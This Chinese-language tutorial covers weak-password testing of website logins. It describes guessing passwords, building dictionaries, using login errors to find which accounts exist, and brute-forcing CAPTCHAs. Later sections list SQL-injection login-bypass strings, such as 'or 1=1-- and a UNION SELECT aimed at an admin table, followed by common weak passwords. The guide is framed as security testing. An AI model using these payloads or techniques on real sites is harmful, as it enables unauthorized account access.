方法 / 步骤
一: 手动探测
先手动猜测几个可能的弱口令,主要是判断站点有没有做登录失败次数限制,若没有限制,则可以使用工具字典工具进行测试
二: 使用字典测试
2.1 字典生成思路
国内很多安全测试团队,常用的弱口令检测方案一般有由以下依据组成
-
姓名的全拼+数字 / 姓名首字母+数字 / 姓全拼+名的首字母+数字;
-
键盘分布或 Shift+键盘布局;
-
好记的数字/ 字母组合: 比如工号,特殊节日、纪念日、年月;
-
特殊含义的单词、好记的特殊字符组合、特殊含义的字母用数字替换等。
-
国内常用名TOP 常见组合;
2.2 字典使用策略
收集相关信息,使用社工字典生成等针对该服务工具,可对用户名和密码同时测试,也可以通过用户名登录失败返回的信息判断这个账号在系统中是否存在,如果存在则可以进一步进行对该账号的密码检测。
但现在很多服务为了防止系统遭受暴力请求/DDOS攻击 / 识别用户身份等 会使用验证码机制。通常在网站的 登录/密码找回/用户注册 使用验证码,但当这些验证码具有一定的规律性并且没有做好对应的防护措施时会导致攻击者通过爆破等方式猜解/绕过验证码机制,可导致任意用户注册、批量注册无用账户、重置任意用户密码、获取系统权限等危害。
常见的验证码主要有图片验证码,邮件/短信验证码, 滑动/语音验证码。
2.3 弱口令常用文本
'xor'or''=''or'='or'"or "a"="a')or('a'='a'or'a'='a"or"="a'='aor 1=1--'or 1=1--a'or' 1=1--"or 1=1--1 or '1'='1'=11 or '1'='1' or 1=1'OR 1=1"or 1=1
2.4 DB注入常用检测若口令:
- 用户名
通常是替换表名admin(将下面整个复制粘贴到用户名输入框)
' UNION Select 1,1,1 FROM admin Where ''='
- 密码: 1
2.5 PHP万能密码/弱口令:
'or 1=1/*
2.6 JSP站点常用/万能密码/弱口令:
1'or'1'='112345123456123456712345678123456789PasswordP@ssw0rdabc123